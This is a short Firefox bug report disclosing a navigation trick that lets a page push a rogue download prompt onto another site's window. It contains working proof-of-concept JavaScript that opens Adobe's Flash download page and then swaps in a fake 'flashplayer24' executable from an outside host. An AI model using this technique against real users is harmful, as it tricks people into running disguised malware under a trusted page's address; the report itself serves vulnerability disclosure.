1342324 - Navigating to non-same origin windows.

Status: RESOLVED DUPLICATE of bug 741050

(Firefox :: Untriaged, defect)

Description

[Dhiraj Mishra]

Attachment: POC.ZIP

User Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0
Build ID: 20170118123525

Steps to reproduce:

Firefox Version :
FF ESR in Windows 7 
FF Stabe in Windows 7 

Another Intersting Navigation trick.

It is an little-known property of web browsers that one document can always navigate other, non-same-origin windows to arbitrary URLs. Perhaps more interestingly, you can also navigate
third-party documents to resources served with Content-Disposition attachment, in which case, you get the original contents of the address bar, plus a rogue download prompt attached to an unsuspecting page that never wanted you to download that file.





Expected results:

Code :

<input type=submit onclick="doit()" value="Click me. I like to be clicked.">
<script>
var w;
var once;
 
function doit() {
 
  if (navigator.userAgent.indexOf('MSIE') != -1)
    w = window.open('page2.html', 'foo');
  else
    w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=http://get.adobe.com/flashplayer/download/?installer=Flash_Player_11_for_Internet_Explorer_(64_bit)&os=Windows%207&browser_type=MSIE&browser_dist=OEM&d=Google_Toolbar_7.0&PID=4166869">', 'foo');
 
  setTimeout(donext, 4500);
 
}
 
function donext() {
  window.open('http://hackies.in/flashplayer24_ka_install.exe', 'foo');
  if (once != true) setTimeout(donext, 5000);
  once = true;
}
</script>
